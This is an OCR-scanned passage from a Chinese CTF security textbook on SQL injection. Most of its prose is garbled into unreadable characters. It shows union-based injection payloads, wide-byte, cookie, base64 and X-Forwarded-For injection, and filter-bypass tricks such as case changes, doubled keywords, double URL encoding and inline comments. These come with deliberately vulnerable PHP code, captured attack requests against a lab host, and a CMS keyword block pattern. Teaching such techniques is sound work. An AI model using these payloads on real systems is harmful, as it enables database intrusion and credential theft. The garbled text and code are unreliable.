3.00pLiant Lo mndiges. B, ¢ /0 jqed b PTpe: Sewt/MAll shersstsutr-8
PAETII —— rvpons Zengthi 110

3.4 3u/te

Muu- As 1 S0L000 © FREM seers WIS 4o L AT
pottecaieset Sorin it

E4-52 £5&UnioniEA



A= AERE PN ETASAEUEENES (database () ) , BE

id=-1%df" union select 1, user () , 3, %23
IREIRIEEERANE4-5 3F 7.

[4-53 FHEdatabase ()

EEAIRENREN, — MR TNES.

select table name from information_schema.tables where
table schema='sql' limit 0, 1

BRI, BTHESISHEN, ZEMBHNFNT, SESQUETHE, Fld
HANFENBS—FhE: FESE. EE—EaEa+d, BRIl— 1 EEa,
TR EEX e iEagiREESINER.

select table name from information_schema.tables where
table schema= (select databse () ) limit0, 1

AILIES, [FEAKtable schema="sql' 6% rtable schema= (select
~yn database () ) , EJgselect database () HERME' sql', XHEHKESH, HR

T SNEl4-54Ff7r.

ﬂﬁﬁ%ﬁﬁﬁ%"mﬁ»mrn-§_

E4-54 SFEEIRERNS=S



MWREBEEECIEER, #iEENE— xS Eemails, HIREAEFRSENZE
&, REERmitENET, XBAFES. FHUNEAERE T emailsRENF
E&.
select column_name from information_schema.columns where
table schema= (select database () ) and table hame= (select table name
from information_schema.tables where table schema= (select databse () )
l limit0, 1) limit0, 1

Y xEERTSESE, S—EEtable schema, BREESNHE, BB
E fE=ELtable_ nameJHE. FATILUBEEGTHRER Mimit, BI—MimitEHiz
% SHRF, E—IUESTRENIRG. NxXBEGIARemailsk, fRusersE,
§ NEESERimithHE. WNE4-55F7R, EEREENUnion AR, XEREE
B =
5
%
|
Bt
SN
17
ik E4-55 FEEEEFES
E] 4.2.8 EFHEANKES
I

’ M ' FEFZHEATES, BFEFDGETE4{ID, FHdE841DFEHaddslashes
() BY, REpHE2IsQuUEqs, #7EE, BT,
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<?php

$conn = mysql_connect('localhost', 'root', '123456') or die('bad!');
mysql_select_db("test’, $conn) OR emMsg( " HidiE fid i kni);
mysql_query("SET NAMES 'gbk'",$conn);

$id = addslashes($_GET['id']);

$sql="SELECT * FROM users WHERE id="$id' LIMIT @,1";

$result = mysql_query($sql, $conn) or die(mysgl_error());

$row = mysql_fetch_array($result);

if($row)

LA {

L] echo $row['username']." : ".$row['address'];

€ }

b else

i@ {

é print_r(mysql_error());

'

7] }

. 7>

ﬁ </font>

% <?php

ﬂ echo "<br>The Query String is : ".$sql ."<br>";

ﬁt 7>

S SHiplalid=1" B, H4TRISQLERA:

g SELECT * FROM users WHERE id="1\""

3] AILAERES SHENS \" BY, fUE—RERT, 25NN, B8
NN

' B TESOEESIEAThT 7 SET NAMES' GBK', B4RIZIREBNEFT5GBK, Frlltab
I FEEFIENRR.
fEPHPH, @idiconv () HHTRIBEIMEN, BalgiFEET/AENBRE.
4.2.9 cookieiF \I&H
cookiel E AR itht . http://www.ccctf en/cookie.php.
AIMURLFIRBGETSE), BEMMmIREIESE, ERABurp SuitellEEHER,
A cookiethFEid=1092%], WE4-56F7~.
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— e————— ca.
GET /cookie.php NTTP/1.1 . WITP/1.3 200 OK

Host: www.ccctf.on Date: Fri, 15 Dec 2017 15125159 aur
User-Agent: Moxilla/5.0 (Macintosh; Intel Mac 05 X Server: Apache

10.12; rvi5).0) Cecko/20100101 Pirefox/53.0 X-Fovered-By: PHP/5.6.30

Accept: Set-Cookie:r id=1
text/heml,application/xhtmlexnl, application/xmligqe=0.9,%/* Content-Length: 15

1q~0.8 Keep-Alive: timeout=5, max=100
Accept-Language: =h-CM,zhjq=0.8,en-U3;q=0.%,en;q=0.3 Connection: Xeep-Alive
Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-§
Cookiet: id=1

Connection: keep-alive Dumb : Dumb<br>

El4-56 cookieliE
&M cookieFlid=1id=1", ZAEEXAEEIZURL, ZIREREEIR. %
Tk, $58UEH cookiedFid=1id=1 and 1=181id=1 and 1=2, E)XiAial, ¥Rz
RAESEFESQUINRR, REEFENE4-57FE4-58F7R, BiticookiesPiI&Ek
IDFFESQLIEANNE L.

GET /cooklie.php WITP/1.1 . WETP/1.1 200 Ok

Host: www.coctf.on Date: Fri, 15 Dec 2017 15127146 GuT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X Server: Apache

10.12; rv:i51.0) Cecko/20100101 Pirefox/%3.0 X-Povered-By: PHP/5.6.30

Accept: Set-Cookier id=1

text/htal, application/xhtal+xal,application/xanl;qe0.9,4/* Content-Length: 15

1q=0.% Reep-Alive: timecute5, max«100
Accept-Language: zh-CN,zh;qe=0.%,en-08;q=0.5,0n;q-0.) Connection: Keep-Alive
Accept-Encoding: gzip, deflate Content-Type: text/htal; charset=uTr-8
Cookie: id=lsandel=]

Connection: keep-alive Dumb & Dumb<br>

Upgrade-Insecure-Roguests: 1

B4-57 i5ialid=1 and 1=1855F

GET /cookie.php HTTF/1.1 Y P/1. oK

Host: www.ccctf.cn Date: Fri, 15 Dec 2017 15:29132 anr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X Server: Apache

10.12; rvi53.0) Gecko/20100101 Pirefox/53.0 X-Powered-By: PHP/5.6.30

Accept: Set-Cookie: idel

text/hetal, application/xhtmléxnl  application/xnl;g=0.9,%/¢ Content-Length: 7

1q=0.8 Keep-Alive: timeout=5, max=100
Accept-Language: =h-CH,zh;q=0.8,en-0S;q=0.5,en;q=0.3 Connection: Keep-Alive
Accept-Encoding: gzip, deflate Content-Type: taxt/html; charset-UTP-§

Cookie: id=lsand+l=2
Connection: keep-alive '+ <br>
Upgrade-Insecure-Requests: 1

El4-58 ifialid=1 and 1=2f1:5F

A EForder byEAFER, EAUnionENGIETRMEN.
4.2.10 cookieiE \NKEESHT

Bid$ COOKIEBEHRELN YR cookiehIEIE, TEcookiei I \TREIFIZFEIT
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$_COOKIEBBRENZ#ID, AISEEKEIDHE selectBAIIHTENR, MREEERE, U
BERSHEmE, KB .

<?php
$id = $_COOKIE['id'];
$value="1";
setcookie("id",$value);
$con=mysqli_connect("localhost”,"root","root","sql");
if (mysqli_connect_errno())

{
echo "¥#fE%kW: " . mysgli_connect_error();
}
$result = mysqli_query($con,"select * from users where “id =".%id);

if (!$result) {
printf("Error: %s\n", mysqli_error($con});

exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['password'];
echo "<br>";
>

XEo[LIFER, BT iRBidiEcookietN2IDEEEHHERISQLUETF, BT
PIFESQLENTER. HiEcookiediZwilid=1 union select 1, 2, 3%236F, H147H9
SQLEAIA:

select * from users where “id’=1 union select 1, 2, 3#

AT, sQLEARLISAselect*from users where'id =1#Junion select

1, 2, 3%, FIBE"5E4G (UnionZia)) ol EREEHEESREDRE.
4.2.11 basebSENIEH

MWRiehE . http://ccctf.en/sql/base64/base64.php?id=MQ %3d %3d.
MURLFTIDIEH, D2 Hbasebd4mis (%3dE=MNURLRIBHER) |
FEREAIIDAT, SN E— 1 R5|SH iR base644mi3, UIE4-59F 7.
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http:/fccetf.cn/sal/base4 baseBa. phi - EEECER RS

d-n  Base64 Decode
_ % URLencode L
Enable Postdata  Enable Refern  %» URLdecode ‘
HEX Encoding >

HEX Decoding »

E4-59 3i1'#iThase644513

—
-

SN HipAlid=1" RWIEENMLET (http://ccctfen/sql/base64/base64.php?
W
e 1d=MSc%3d) , TWHEIREEIR. 1 and 1=1#11 and 1=21base644RI3535IH
b MSBhbmQgMTOXfIMSBhbm QgMTOy, EX¥iialid=MSBhbmQgMTOXH
%  id=MSBhbmQgMTOy, IEEL5EAEA-60FIEA-617R.
'
B G LoadURL  nttp://cectf.cn/sql/baseB4/baseBa.php
. ; Split URL ?id=MSBhbmQgMTOx
g V. Execute
3 Enable Post data  Enable Referrer
il ID:1
T user:jaosi
i pass:7126871
i}
&5 now useselect * from users where id=1 and 1=1
(a1

E4-60 7Elid=MSBhbmQgMTOxAIZE:
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[l

EREHEENE Fedtcoe =

S
S

@ Load URL http://ccctf.cn/sql/base64/base64.php

U split URL ?2id=MSBhbmQgMTOy

» Execute

Enable Post data Enable Referrer

now useselect * from users where id=1 and 1=2

E4-61 17iElid=MSBhbmQgMTOyRIEER

MIREEEECIAES], hialid=1 and 1=18¢, REIRESid=11#ERENEE,
mifiElid=1 and 1=2fF, TEREISIA=1FAENER, FRLAZMREFESQLENTR
.

5, (Fforder byEIHFEE, EUnioniESliltGEN.

4.2.12 base6iIFNTESHT

fEbaseb4ENTRET, FZFFARIGET241ID, AFbase64 decode () Xi&
#Dit{Tbhase64iRiD, REEZISHEBGISIdIHE  selechZAF I TER, BT
whilefEIREEIRLE RSN, (B M.
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<?php
$id = base64_decode($_GET['id"']);
$conn = mysql_connect("localhost","root","root");
mysql_select_db("sql",$conn);
$sql = "select * from users where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "ID:".$row['id’]."<br »";
echo “"user:".$row[ *username’]."<br »*;
echo “pass:".$row['password']."<br >";
echo "<hr:>";
}
mysql_close($conn);
echo "now use".$sql."<hr>";
2>

BTREREEESRNSId, BRSidEEFHERISQLEAF, FLAFE
SQUINBR. Xifiaid=1 union select 1, 2, 3# (AEAT, SoiiTbase6447h3)
BY, HiTRISQLEAIA:

select * from users where “id"=1 union select 1, 2, 3#

IErSQLEA ] %5 Aselect*from users where'id =1#Junion select 1,

2, 3m%K, MEFE"FKEF (UnionEia) Fa] LERBEHRESRIFIE.

XREHTUAEEMA RS, fli0, MEBWAF, NWAFSXI R

Y SEDHTRE, (BRTEETNIDE Tbase64BiE, FTLUKRWAFRE D gSENA

FIEERAES, st ¥ WAFRT,
4.2.13 XFRENKTE

xFEENBGHATIA AL http://www.ccctf.en/sql/xff.php.

BdBurp SuiteiHEHERE, clLAREIHTTPEICLHE— L5240
X-Forwarded-for. X-Forwarded-ForfB#RXFFk, BREZFIAEINIP, @EitEH
X-Forwarded-forflEnI L MMEEFi%IP, 1§X-Forwarded-forig&9127.0.0.1, %
[EBIPhZURL, TNEIREIEE, ME4-62F7r.
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BET /eql/xil.php BTTF/I.T

Host1 www.ceotf.on

User-Agent: Mozilla/%.0 (Macintosh;
Gecko /10100101 Firefox/53.0
Accepti

taxt//htal, application/xhtml+xml, application/xnljge0.9,*/* q=0.8
Accept -Language: h-CN,zhiq=0.8,en-0U8;q=0.%,en3q=0.1
Accept-Encodings giip, deflate

connection: keep-alive

X-Forwvarded-for:127.0.0.1

Upgrade-Insecure-Requesta: |

Intel Mac OS5 X 10.12; rvi53.0)

T | WEEIL.T 180 oF
Dater Tue, I! Dec 2017 0%111120 OMT
Server:
X-Powered- l'ra PHF/S.6.30
Esep-Alive: timecut=3, max=100
Connection: Reep-Alive
Content-Type: text/htal; charset=UTF-§
content-Lengths 31

testlll 1 testlililebrs

E4-62 XFFL

1&X-Forwarded-forig&.45127.0.0.1",
ﬂi?*‘( =5, EFRE4-63F .

RIAENZURL, EIREIMySQLAY

8 (Masinteshs Intel Mas 08 K 18,131 rvedd.®
om/ 34§

taxt /Atal,. applicet Lon/ubenl vaml, application unl jqet. b, o 0 pqed. i
con-EE gl b en =0

1&X-Forwarded-forsy

WETR LY
Dates Tus,

o-uu- Trpes &
.

Serepande &
.8, 5. ;

E4-63 ihialX-Forwarded-for:

Loy
19 Bee 217 BHe1d

Bervari hpache
B-Fowe

MBLY sharest=ETF-0
Langehs 144

i i A 1 chas
var versisa for the
.t lime

127.0.0.1'HER

Ahe mansal that
b sysien te wee

Bi&E79127.0.0.1'and 1=1##1127.0.0.1'and

1=2#, BEXIAIDNZURL, ERUNE4-64F1E4-65F=.

TET Taql/=ll.php WETF/1.1
Hosts www.coctf.on
Usar-Agent: Mozilla/$.0 (Macimtosh: Intel Maz 05 X 10.13: rveS).0)
Gecko/20100101 Firefox/51.0

Accepti

vaxe /el , application/xheslexn] , application/unlyge0. 5,/ v yq=0.0
Accept-Language: th-CM,zhi ~0S;q=0.%,en;q=0.3
Accept-Encoding: gzip, defls
Con tion: keep-alive
X-Forvarded-for:1127.0.0.1
Upgrade-Insecure-Requests:

and 1=1¢
1

El4-64 iFalX-Forwarded-for:

G /aql/nli.php WITH/1.1

Host: www.coctf.cn

User-Agent: Mozilla/S.0 |Macintoah; Imtel Mac 03 X 10.12;
Gecko /10100101 Firefox/33.0

Acce,

text/htal,application/xhtalxnl  application/xml;q=0.%,°/*;q=0.0
Accept-Language: th-CM,zh;q=0.8,en-USig=0.5%,en1q=0.2
Accept-Encoding: grip, deflate

Connection: kesp-alive

X-Forvarded-for1127.0.0.1° and 1=2¢

Upgrade-Insecure-Requests: 1

rvisl.0)

E4-65 ifalX-Forwarded-for:

. HTTF/1.1 oK
Date: Tue, 19 Dec 2017 08115108 amy
Sarver: Apachs
X-Fowered-By: PHP/S.6.30
Esep-Aliw timsout=5, max=100
connection: Kssp-Alive
Content-Type: text/html; charset=UTF-8
Content-Leagth: 23

testlll ¢ testilll<br>

127.0.0.1" and 1=1#89558%

% | WETF/I.T I00 oK

Bate: Tus, 1§ Dec 2017 05:13:32 GMF
Server: Apache

X-Powsred-By1 PEP/S.6.30
Esap-Alive: timecut=5, sax=100
Connection: Keep-Alive
Content-Typs: text/html;
Content-Length: @

charset=uTr-#

v <br>

127.0.0.1" and 1=2#895%

BEUTENREEE, aFMHhZitiFESQUENRR, E&aILER
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order by¥iRFHFRHE, BEMKHEIEETFEINFER, SREHBUnionE
EEANTZE, 1BEEX-Forwarded-for: 127.0.0.1'union select 1, 2, 3, 4#, {E
4-66fT71.

E4-66 {FREUnioniEA
A, FAUnionfEA FiESRIGEN.
4.2.14 XFREENEESH

PHPgetenv () BREATHRE—IMNELENE, EUF$_SERVERE
$_ENV, REFNEZSXIMNANE, MENEEEAFENIRMEFALSE,

FERLATMUSEI R E iR Pithl, 2R CHIMT ESFEHTTPLEIS2 4]
HTTP_CLIENT_IP, ¥ISEfF1E, WWESip, MEAFE, NHERESFEHTTPLES
#HTTP_X FORWARDED_FOR, MNEfFE, NELESIp, MEATE, WREHTTPLER
Z24IREMOTE_ADDRIE45$ip.
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<?php
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno())

{
echo "HEEKW: " . mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv( 'HTTP_CLIENT_IP');
A } elseif(getenv('HTTP_X_FORWARDED_FOR')) {

i $ip = getenv('HTTP_X_FORWARDED_FOR');

} elseif(getenv('REMOTE_ADDR')) {
€ $ip = getenv('REMOTE_ADDR');
b } else {
= $ip = $HTTP_SERVER_VARS[ 'REMOTE_ADDR'];
< }
B $result = mysqli_gquery($con,"select * from user where “ip'="$ip'");
B if (!$result) {

printf("Error: %s\n", mysqli_error($con));
= exit();
& }
iE $row = mysqli_fetch_array($result);
ﬁ! echo $row['username'] . " : " . $row['password'];
it echo “<brs";
éi; >
B TR BSipHENselectB, RKEKERERBHNAME L.
3] BTFHTTPLERSEE RN URERT, AR RILURI— N SLERE 4 CLIENT P,
DN

" X_FORWARDED FOR, 4iZEX FORWARDED FOR=1'union select 1, 2, 3%23
B, HATRISQLIERIS:
select * from user where ‘ip"='1" union select 1, 2, 3#
IATSQLEAIB] 15> select*from user where'id™="1" #Junion select 1,
2, 3%, AIBETSET (unionZidl) Fol LGAIEHRETIIEER.
4.3 SQUITASRIIFIA
431 K/NSEEEN
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FNEEEH RNt http://ccctfen/sql/1.php?id=1.
wEid=1", AZIRERHEMYySQLER, Hikaid=1 and 1=18, WEIR
El “no hack” , BAEHHEY, RFAEXBEETE. ERAXEFNSHLAE
HERID, #WAnd 1=1 ((FEFEANSHEALL, WMaNd 1=1, AND 1=1%) , =]LIE
FjiaEid=1 And 1=10RERE Sid=11HENER, ARid=1 And 1=2RTAHEIKE
S5id=1r"ENER, SHEESQUENRRNER, WE4-67F1E4-68F 7.

GET /sql/l.php?id=lsAnd+l=1 NTTP/1.1 . HTTP/1.1 200 OK

Host: ccotf.on Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X Date: Sat, 02 Dec 2017 17:09:24 GMT
10.12; rvi5).0) Gecko/20100101 Pirefox/51.0 Content-Type: text/html; charsat=UTP-g8
Accapt: Connection: keep-alive

taxt /htal,application/xhtml+xal,application/xml;g=0.%,*/* Vary: Accept-Encoding

jq=0.8 X-Powered-By: PHP/S.6.30
Accept-Language: zh-CH,zhjg=0.8,en-US;q=0.5,en;q=0.3 Contant-Length: 37

Accept-Encoding: gzip, deflate

Connection: kesp-alive admin @ admin<br>

Upgrade-lnsecure-Requests: 1
Cache-Control: max-age=0

E4-67 iniElid=1 And 1=18955

GET /sql/l.phprid=1+And+i=d WTTF/1.1 . RTTP/1.1 200 oK

Bost: cectf.on Server: nginx/1.8.1

User-Agent: Mozilla/5.9 [Macintosh; Intel Mac OF X Date: Sat, 02 Dec 2017 17:109:50 GMT
10,127 rvi51.0) Gecko/20100101 Firefox/53.0 Content-Type: text/htal; charset=UTF-8
Aocepti Connection: keesp-alive

text /htal,application/xhetal +xml, application/xmlig=0.9,%/+ Vary: Accept-Encoding

1q=0.8 X-Powered-By: PHP/5.6.30
Accept-Language: zh-CM,zhjq=0.8,en-US;q=0.%,enjq=0.) Content-Length: 27

Accept-Encoding: gzip, deflate

Connection: kesp-alive + <br>

Upgrade-Insecure-Requestsa: 1
Cache-Control: max-age=0

E14-68 i5iEid=1 And 1=203%5
EForder byEAFEME, AUEEHEEE T, WE4-69F7R, TEFA
{EXERET A NS Rsed s, S RMordenx MEE, EREAIIYorder®¥AkOrder
fa, MESRIESE, HiBbyFea#—&, ME4-70M7R, B5ET=H, AR
ERPFEINTFE,
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GET /8ql/l.phpiid=ltorder+by+l NTTP/1.1

Host: cectf.en

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac O3 X
10.12; rv15).0) Cecke/20100101 Firefox/53.0

Accepts

taxt /htal ,application/xhtml+xml ,application/xmlyg=0.5,*/*
1q=0.8

Accept-Language: zh-CM,zh;g=0.8,en-03;q=0.%,en;q=0.3
gzip, deflate

Upgrade-Insecure-Regqu
Cache-Control: max-ag

HTTP/1.1 200 OK

Server: nginx/1.8.1

Dates Sat, 02 Dec 2017 17112150 GNT
Content-Type: text/html; charset=UTF-§
Connection: kesp-alive

Vary: Accept-Encoding

X-Povered-By: PHP/5.6.30
Content-Length: §

E4-69 order byiff=#;

GET faql/l.phptid=1s0ranrsby+d WTTF/L.1 .
Most: coctf.on

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X

10,127 rvi53.0) Gecko/20100101 Firefox/53.0

Accept:

taxt /htal, applicat ion/xhtal+xml, application/xnlyg=0.%, 0/
1q=0.8

Accept-Language: zh-CN,zhjg=0.8,en-US;q=0.5,em;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgr ade-Insecure-Requests: 1

Cache-Control: max-age=0

WITF/1.1 200 OR

Server: nginx/1.8.1

Dat. Sat, 02 Dec 2017 17:15:02 aMT
Content-Type: text/html; charset=UTF-§
Connection: keep-alive

Vary: Accept-Encoding

X-Povered-Byi PHP/5.6.30
Content-Length: 37

admin 1 admia<br>

E4-70 Order byiZE=%;
5, EAUnonIiESMIREN, MRMARBRCETHI=E, W=k

FHESRA NSRS SRS 4.

4.32 WEZT TN

WESTENAUEME: http://ccctfen/sql/2.php?id=1.

hiElid=1", AIREREMYSQLER, E&HElid=1and 1=1, REKA

& IRHMySQLANEIR, (BEMNEREEFAILIER, BANRand 1=1271=1, Y&
N 4710w

cn
Usar-Agent: Morilla/5.0 [Macintosh; Imtel Mac O8 X
18,127 rvss).0) Gecko/20100101 Pirefox/53.0
Accepti
text/htal, application/xbeml+xnl, appliceation/xmliq=0. 8,/
1qe0.8
A:clpl-mgu-gtl sh-CN, zhiq=0.8, en-03;g=0.5  en;q=0.3
Accept-Encoding: grip, deflate
connection: kesp-alive
Upgrade- Insecure-Requests: 1
Cache-Controli max-age=0

Date: Sum, 0J Dec 2017 07124152 oY
Comtent-Type: text/htaly charset=UTP-i
Comnection: kesp-alive

vary: Accept-Encoding

X-Povered-By: PHP/5.6.30
Comtent-Langth: 137

Brrer: Tou bave as error is your SQL symtasm; check the
mamual that corresponds to your NYSUD Werver versios
for the right systas to use me ﬂ t lime 1

El4-71 ZigE=Fand e
EteT LA, XEFandifidiF 7. XIS ERANEHHIST, W
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anandd 1=1, Hand#TiEfG, ananddihl rand, FRLUXEHEAZIRERNEGR
and 1=1, ERNEA4-72f7R, AIHUTHHIREIEETE.

GET /sql/l.php?idel+anandd+i=] RTTP/1.1 . HTTP/1.1 200 OK

NWost: ccetf.cn Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 03 X Date: Sun, 03 Dec 2017 07127134 aNT
10.12; rvi53.0) Gecko/20100101 Firefox/5).0 Content~Type: text/htal; charset=~DTP-8
Accept: Connection: keep-alive

toxt/heml, application/xhenl+exnl, application/xnl;qe0.9,%/* Vary: Accept-Encoding

1q=0.8 X-Povered-Sy: PHP/5.6.30
Accept-Language: zh-CN,zh;qe0.8,en-08;q=0.5,en;q+0.] Content-Length: 47

Accept-Encoding: gzip, deflate

Connection: keep-alive admin :+ admin<br>

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

E4-72 X@FananddFEEIEEHRT
8, ¥i\aandnd 1=2, REEIREE, FIMUESHFESQUENFR.
Z43hialid=1 order by 38f, MySQLEEIREEN "der by 3" , WIE4-73f7=, FrlA
XEBHiIRBTiEorder®Z N gE, MENdiEor, ARFENSorfln], ERE
4-TAff7.

GET /eql/2.phplidelsorderebys) NYTP/L.L & | WrTR/1.1 200 ox

Nost: cectf.on Servers ngimx/i.8.1

User-Agenti Mozilla/5.0 (Macintosh; Intel Meo O3 X Date: Sun, 03 Dec 2017 07432107 oMy

10,3521 1v153.0) Cecho/20100101 Firefox/8).0 Content-Type: text/htal; charset~urr-§

Accepty Connections keep-alive

text/htal, application/xhtalexnl application/xnliqed.9, %/ Vary:s Accept-Encoding

1q=0.9 X-Powered-By: PRP/5.6.30

Accept -Language: zh-CM,zhiqe0.0,en-05;q=0.5,en:1q0.) Content -Length: 162

Accept-Encoding: gzip, deflate

Connectiont keep-alive Rrror: You Bave an error im your SQL systax; check the
Upgrade - insecure-Requests: 1 masual that corresponds to your MySQL server versios

Cache-Control: maz-age=0 for the right syntax to uwse sear der by ) at lise 1

E4-73 g 7 X< E=For

ﬂmﬁmmﬁmm"m%»mvo-g

e
GET /sql/2.phplid=lscorrdersby+d HTTP/1.1 & | ETTR/1.1 200 OK
Host: ccotf.cn Server: nginx/1.8.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X Date: Sun, 03 Dec 2017 07:35:05 GMT
10.12; rv153.0) Gecko/20100101 Firefox/53.0 Content-Type: text/htal; charset=UTP-§
Accept: Connection: keep-alive
text/htal, application/xhtalexnl, application/xml q=0.%,/* Vary: Accept-Encoding
1q=0.8% X-Povered-By: PHP/5.6.30
Accept-Language: zh-CN,zhi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 47
Accept-Encoding: gzip, deflate
Connection: keep-alive admin + admin<br>

Upgrade-Insecure-Requeats: 1
Cache-Control: sax-age~0

E4-74 WSx@For

BREASENTIESUnionsEAR—EL.
4.3.3 H\rEgaiEAN
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RSN http://ccctf.en/sql/3.php?id=1.

plElid=1", ZIRERHEMySQLEEIR, F&hAlid=1 and 1=1#1id=1 and
1=20t, AIXETand@izE. SERURLEHEENANS SIS, hTRSSES
BIXJURLEHTIRURLEERS, FILISELEEARLEAR, XEFEIENNLE,
URLRIBFIEESRE, MAEEBENURLER. NE4-75FR, XEFanddHTMx
URLEGRIBHEEE %25%36%31%25%36%65%25%36%34, 0
id=1%25%36%31% 25%36%65%25%36%34 1=10, mmERESid=1{ER%E
B WE4-76F7=, Alalid=1 %25%36%31%25%36%65%25%36%34 1=20T7,
MERESId=1RNENER, NE4-77F=, FILUZMIHFESQLENFR.

$61%6e%64

and

e Ui | s | s
Hm6WE | HimieW® | Jsem@ | Js HtmI1648E3 HtmI16 8858 JSBHRES JS8H
o

161162464 $25%36%31%25%36%65%25%36%34|

E4-75 FRURLERS<EFand
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GET /sql/i.phpilid=1
HTTP/1.1

Host: cectf.cm
User-Agent: Mozilla/$5.0 [Macintosh; Intel Mac OS5 X
10,127 rvi$3.0) Gecko/20100101 Pirefox/53.0
Accepti

ARISATERTINISATENESAISN TG Tl e 1]

text /htal,application/xhtal+xml, application/xml1q=0.9,/

1q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-05:q=0.5,en;q=0.3
Accapt-Encoding: geip, deflats

a wTTP 1.1 200 OK
Server: nginx/1.8.1
Date: Mon, 04 D.f 2017 05:21:132 oNr
Content-Type: text/html; charset=UTF-i
Connection: keep-alive
vary: Accept-Encoding
X-Fovered-By: PHF/5.6.30
Content-Length: 57

admin + admin<br>

connection: keep-alive
Upgr ade-Insecure-Requests: 1
Cache-Control: max-age=0

E4-76 inElid=1 and 1=1FRIER

GET /eql/3.php?id=1+¥250I6NIINISAIENESNTINIENI4+1=] "
HTTP/1.1

Host: cootf.cn

User-Agent: Mozilla/5.0 (Macintosh;

HTTP/1.1 200 OK
Server: nginx/1.8.1
Date: Mon; 04 Dec 2017 05:122:38 GMT

Intel Mac OS5 X Content-Type: text/htal; charset=UTF-8

10.12; rvi53.0) Gecko/20100101 Firefox/53.0 Connection: keep-alive
Aocceptt Vary: Accept-Encoding
text /html, application/xhtml+xnl, application/xml;q=0.9,4/* X-Powered-By: PHF/5.6.30
iq=0.8 Content-Length: 47

Aocept-Language: zh-CM,zhiq=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Comntrol: max-age=0

1+ <br>

E4-77 i5Rlid=1 and 1=283R355

[EERSENTESUnionE AR5, REAMNTERIHERE, FETmR
URLEZRFSE]A].,

4.3.4 WEGTRESETEN

WESFESSSE RTINS EHE . http://ccctfen/sql/4.php?id=1.

AEid=1", AWRERHMYySQLEER, #EE5ihElid=1 and 1=1fid=1 and
1=20%, AZIAEIER “no hack” , BIKEFHIEE. SRERARNBCIRSY. REL
TRAMEXAABENBMySQLITATR REf Y. iElid=1/*! and*/1=18f, U@
REISid=1EEMNEE; hinid=1/%! and*/1=20", EREISId=1~ENER,
WE4-78F1E4-79F 7.
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GET /sql/d.phpitid=1+4/*land*/+1=1 HTTPF/1.1

. HTTF/1.1 200 OK
Host: ccotf.cn

Server: nginx/1.8.1

User-Agent: Mozilla/S.0 (Macintosh; Intel Mac 0S5 X Date: Mon, 04 Dec 2017 06:24:21 GMT
10.12; rvi53.0) Gecko/20100101 Pirefox/53.0 Content-Type: text/html; charset=UTF-§
Accept: Connection: keep-alive

text /html ,application/xhtml+xml, application/xml;g=0.9, 2/ Vary: Accept-Encoding

1q=0.8 X-Powared-By: PHP/5.6.30
Accept-Language: Th-CN,zh;ge=0.8,en-U5;q=0.5,en;q=0.3 Content-Length: 37

Accept-Encoding: gzip, deflate

Connection: kesp-alive admin 1 admin<br>

Upgrade-Insecure-Requests: 1
cache-Control: max-age=0

E4-78 ipialid=1 /*! and*/1=1R1R955

GET /sql/d.phpiid=i+/%jand*/+i=d HYTP/1.1 a HTTP/1.1 200 OK

Host: ccoctf.on Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O5 X Date: Mon, 04 Dec 2017 06:26:33 GMT
10.12; rvi53.0) Gecko/20100101 Pirefox/53.0 Content-Type: text/html; charset=UTF-§
Acceptt Connection: keep-alive

text /html,application/xhtml+xnl, application/xmlyq=0.9, 0/ Vary: Accept-Encoding

1q=0.8 X-Powered-By: PHP/5.6.30
Accept-Language: zh-CM,zh;jq=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 27

Accept-Encoding: gzip, deflate

Connection: kesp-alive 1 <br>

Upgrade-Insecure-Regquests: 1
Cache-Control: max-age=0

E4-79 iaElid=1 /*! and*/1=2FRV5EFR
EEASEATFESUnioni E ARI—EL.
4.3.5 SQUFNEEEIN
EANSQUENRRIMESHiEEm.
(BupEr e
ZHCMSEF BT FHINT, Fili0, KAENZEATITEunion,
sleep. load fileZe i, WIRILER), NLBHIZR. FlN80secAIBHENIES,
N R

ﬁmﬁwmmmm"mﬁ»mv-§



%Eﬁﬁ%ﬂiﬁ%"ﬁ%»mvo-§

Www. glanani. com

functionCheckSql($db_string, $querytype="select')
{
global$cfg_cookie_encode;
$clean="'";
$error="";
$old_pos= @;
tpos= -1;
$log_file= DEDEINC.'/../data/".md5($cfg_cookie_encode).’_safe.txt’;
$userIP= GetIP();
fgeturl= GetCururl();
SO AN E), POEELIE SRR R
if($querytype=="select’)
{

$notallowl="["@-9a-z@\._-]{1, }(union|sleep|benchmark|load_file|outfile)["@-9a-z@\.
-1{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallowl."/i",$db_string))
{
fputs(fopen($log_file, 'a+"),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step
1 l</font>™);

}

}
/1580 SQL 1
while(TRUE)
{
$pos=strpos($db_string,'\"'"’,$pos+ 1);
if($pos=== FALSE)
{
break;
}
$clean.=substr($db_string,$old_pos,$pos-$old_pos);
while(TRUE)
{
$posl=strpos($db_string,'\'',$pos+ 1);
$pos2=strpos($db_string, '\\',$pos+ 1);
if($posl=== FALSE)
{
break;

}
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elseif($pos2== FALSE ||$pos2>$posi)

{
$pos=$pos1;
break;

}

$pos=$pos2+ 1;

}
$clean.="$s$";
$o0ld_pos=$pos+ 1;
}
$clean.=substr($db_string,$old_pos);
$clean= trim(strtolower(preg_replace(array(‘~\s+~s'),array(’' '),$clean)));
